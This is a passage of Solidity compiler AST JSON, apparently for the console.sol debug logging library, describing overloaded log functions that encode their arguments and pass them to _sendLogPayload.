pure"}},"id":24503,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7763:70:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24504,"nodeType":"ExpressionStatement","src":"7763:70:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"7706:3:15","parameters":{"id":24494,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24491,"mutability":"mutable","name":"p0","nameLocation":"7724:2:15","nodeType":"VariableDeclaration","scope":24506,"src":"7710:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":24490,"name":"string","nodeType":"ElementaryTypeName","src":"7710:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":24493,"mutability":"mutable","name":"p1","nameLocation":"7735:2:15","nodeType":"VariableDeclaration","scope":24506,"src":"7728:9:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":24492,"name":"int256","nodeType":"ElementaryTypeName","src":"7728:6:15","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"7709:29:15"},"returnParameters":{"id":24495,"nodeType":"ParameterList","parameters":[],"src":"7753:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24523,"nodeType":"FunctionDefinition","src":"7846:150:15","nodes":[],"body":{"id":24522,"nodeType":"Block","src":"7909:87:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c737472696e6729","id":24516,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7959:20:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_4b5c4277d556d03fbf5ee534fba41dc13982b44f2fa82f1d48fdd8b5b5b692ac","typeString":"literal_string \"log(string,string)\""},"value":"log(string,string)"},{"id":24517,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24508,"src":"7981:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":24518,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24510,"src":"7985:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4b5c4277d556d03fbf5ee534fba41dc13982b44f2fa82f1d48fdd8b5b5b692ac","typeString":"literal_string \"log(string,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":24514,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"7935:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24515,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7939:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"7935:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24519,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7935:53:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24513,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"7919:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24520,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7919:70:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24521,"nodeType":"ExpressionStatement","src":"7919:70:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"7855:3:15","parameters":{"id":24511,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24508,"mutability":"mutable","name":"p0","nameLocation":"7873:2:15","nodeType":"VariableDeclaration","scope":24523,"src":"7859:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":24507,"name":"string","nodeType":"ElementaryTypeName","src":"7859:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":24510,"mutability":"mutable","name":"p1","nameLocation":"7891:2:15","nodeType":"VariableDeclaration","scope":24523,"src":"7877:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":24509,"name":"string","nodeType":"ElementaryTypeName","src":"7877:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7858:36:15"},"returnParameters":{"id":24512,"nodeType":"ParameterList","parameters":[],"src":"7909:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24540,"nodeType":"FunctionDefinition","src":"8002:139:15","nodes":[],"body":{"id":24539,"nodeType":"Block","src":"8056:85:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c29","id":24533,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8106:18:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_c3b556354c088fbb43886eb83c2a04bc7089663f964d22be308197a236f5b870","typeString":"literal_string \"log(string,bool)\""},"value":"log(string,bool)"},{"id":24534,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24525,"src":"8126:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":24535,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24527,"src":"8130:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c3b556354c088fbb43886eb83c2a04bc7089663f964d22be308197a236f5b870","typeString":"literal_string \"log(string,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":24531,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"8082:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24532,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"8086:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"8082:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24536,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8082:51:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24530,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"8066:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24537,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8066:68:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24538,"nodeType":"ExpressionStatement","src":"8066:68:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"8011:3:15","parameters":{"id":24528,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24525,"mutability":"mutable","name":"p0","nameLocation":"8029:2:15","nodeType":"VariableDeclaration","scope":24540,"src":"8015:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":24524,"name":"string","nodeType":"ElementaryTypeName","src":"8015:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":24527,"mutability":"mutable","name":"p1","nameLocation":"8038:2:15","nodeType":"VariableDeclaration","scope":24540,"src":"8033:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":24526,"name":"bool","nodeType":"ElementaryTypeName","src":"8033:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"8014:27:15"},"returnParameters":{"id":24529,"nodeType":"ParameterList","parameters":[],"src":"8056:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24557,"nodeType":"FunctionDefinition","src":"8147:145:15","nodes":[],"body":{"id":24556,"nodeType":"Block","src":"8204:88:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c6164647265737329","id":24550,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8254:21:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_319af333460570a1937bf195dd33445c0d0951c59127da6f1f038b9fdce3fd72","typeString":"literal_string \"log(string,address)\""},"value":"log(string,address)"},{"id":24551,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24542,"src":"8277:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":24552,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24544,"src":"8281:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_319af333460570a1937bf195dd33445c0d0951c59127da6f1f038b9fdce3fd72","typeString":"literal_string \"log(string,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":24548,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"8230:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24549,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"8234:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"8230:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24553,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8230:54:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24547,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"8214:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24554,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8214:71:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24555,"nodeType":"ExpressionStatement","src":"8214:71:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"8156:3:15","parameters":{"id":24545,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24542,"mutability":"mutable","name":"p0","nameLocation":"8174:2:15","nodeType":"VariableDeclaration","scope":24557,"src":"8160:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":24541,"name":"string","nodeType":"ElementaryTypeName","src":"8160:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":24544,"mutability":"mutable","name":"p1","nameLocation":"8186:2:15","nodeType":"VariableDeclaration","scope":24557,"src":"8178:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":24543,"name":"address","nodeType":"ElementaryTypeName","src":"8178:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"8159:30:15"},"returnParameters":{"id":24546,"nodeType":"ParameterList","parameters":[],"src":"8204:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24574,"nodeType":"FunctionDefinition","src":"8298:134:15","nodes":[],"body":{"id":24573,"nodeType":"Block","src":"8346:86:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e7432353629","id":24567,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8396:19:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_399174d3d0c43cb9677bce4fa1b5541fc60a002cbf23e154f1abcbb5f02cf2d7","typeString":"literal_string \"log(bool,uint256)\""},"value":"log(bool,uint256)"},{"id":24568,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24559,"src":"8417:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":24569,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24561,"src":"8421:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_399174d3d0c43cb9677bce4fa1b5541fc60a002cbf23e154f1abcbb5f02cf2d7","typeString":"literal_string \"log(bool,uint256)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":24565,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"8372:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24566,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"8376:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"8372:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24570,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8372:52:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24564,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"8356:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24571,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8356:69:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24572,"nodeType":"ExpressionStatement","src":"8356:69:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"8307:3:15","parameters":{"id":24562,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24559,"mutability":"mutable","name":"p0","nameLocation":"8316:2:15","nodeType":"VariableDeclaration","scope":24574,"src":"8311:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":24558,"name":"bool","nodeType":"ElementaryTypeName","src":"8311:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":24561,"mutability":"mutable","name":"p1","nameLocation":"8328:2:15","nodeType":"VariableDeclaration","scope":24574,"src":"8320:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":24560,"name":"uint256","nodeType":"ElementaryTypeName","src":"8320:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8310:21:15"},"returnParameters":{"id":24563,"nodeType":"ParameterList","parameters":[],"src":"8346:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24591,"nodeType":"FunctionDefinition","src":"8438:139:15","nodes":[],"body":{"id":24590,"nodeType":"Block","src":"8492:85:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e6729","id":24584,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8542:18:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_8feac5256a5b88d7ca0173065b796567ecbc9d75ec022fa0f044eb427f962b84","typeString":"literal_string \"log(bool,string)\""},"value":"log(bool,string)"},{"id":24585,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24576,"src":"8562:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":24586,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24578,"src":"8566:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8feac5256a5b88d7ca0173065b796567ecbc9d75ec022fa0f044eb427f962b84","typeString":"literal_string \"log(bool,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":24582,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"8518:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24583,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"8522:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"8518:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24587,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8518:51:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24581,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"8502:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24588,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8502:68:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24589,"nodeType":"ExpressionStatement","src":"8502:68:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"8447:3:15","parameters":{"id":24579,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24576,"mutability":"mutable","name":"p0","nameLocation":"8456:2:15","nodeType":"VariableDeclaration","scope":24591,"src":"8451:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":24575,"name":"bool","nodeType":"ElementaryTypeName","src":"8451:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":24578,"mutability":"mutable","name":"p1","nameLocation":"8474:2:15","nodeType":"VariableDeclaration","scope":24591,"src":"8460:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":24577,"name":"string","nodeType":"ElementaryTypeName","src":"8460:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"8450:27:15"},"returnParameters":{"id":24580,"nodeType":"ParameterList","parameters":[],"src":"8492:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24608,"nodeType":"FunctionDefinition","src":"8583:128:15","nodes":[],"body":{"id":24607,"nodeType":"Block","src":"8628:83:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c29","id":24601,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8678:16:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_2a110e83227fbe26ff7524076f2091da3e9aa01d70b93677da53b41d22f4fb15","typeString":"literal_string \"log(bool,bool)\""},"value":"log(bool,bool)"},{"id":24602,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24593,"src":"8696:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":24603,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24595,"src":"8700:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2a110e83227fbe26ff7524076f2091da3e9aa01d70b93677da53b41d22f4fb15","typeString":"literal_string \"log(bool,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":24599,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"8654:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24600,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"8658:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"8654:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24604,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8654:49:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24598,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"8638:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24605,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8638:66:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24606,"nodeType":"ExpressionStatement","src":"8638:66:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"8592:3:15","parameters":{"id":24596,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24593,"mutability":"mutable","name":"p0","nameLocation":"8601:2:15","nodeType":"VariableDeclaration","scope":24608,"src":"8596:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":24592,"name":"bool","nodeType":"ElementaryTypeName","src":"8596:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":24595,"mutability":"mutable","name":"p1","nameLocation":"8610:2:15","nodeType":"VariableDeclaration","scope":24608,"src":"8605:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":24594,"name":"bool","nodeType":"ElementaryTypeName","src":"8605:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"8595:18:15"},"returnParameters":{"id":24597,"nodeType":"ParameterList","parameters":[],"src":"8628:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24625,"nodeType":"FunctionDefinition","src":"8717:134:15","nodes":[],"body":{"id":24624,"nodeType":"Block","src":"8765:86:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c6164647265737329","id":24618,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"8815:19:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_853c4849443241e2249adafa4f69c8bb738b0f17c7a0a9d9997450cd71db4d55","typeString":"literal_string \"log(bool,address)\""},"value":"log(bool,address)"},{"id":24619,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24610,"src":"8836:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":24620,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":24612,"src":"8840:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_853c4849443241e2249adafa4f69c8bb738b0f17c7a0a9d9997450cd71db4d55","typeString":"literal_string \"log(bool,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":24616,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"8791:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":24617,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"8795:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"8791:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":24621,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8791:52:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":24615,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"8775:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":24622,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8775:69:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":24623,"nodeType":"ExpressionStatement","src":"8775:69:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"8726:3:15","parameters":{"id":24613,"nodeType":"ParameterList","parameters":[{"constant":false,"id":24610,"mutability":"mutable","name":"p0","nameLocation":"8735:2:15","nodeType":"VariableDeclaration","scope":24625,"src":"8730:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":24609,"name":"bool","nodeType":"ElementaryTypeName","src":"8730:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":24612,"mutability":"mutable","name":"p1","nameLocation":"8747:2:15","nodeType":"VariableDeclaration","scope":24625,"src":"8739:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":24611,"name":"address","nodeType":"ElementaryTypeName","src":"8739:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"8729:21:15"},"returnParameters":{"id":24614,"nodeType":"ParameterList","parameters":[],"src":"8765:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":24642,"nodeType":"FunctionDefinition","src":"8857:140:15","nodes"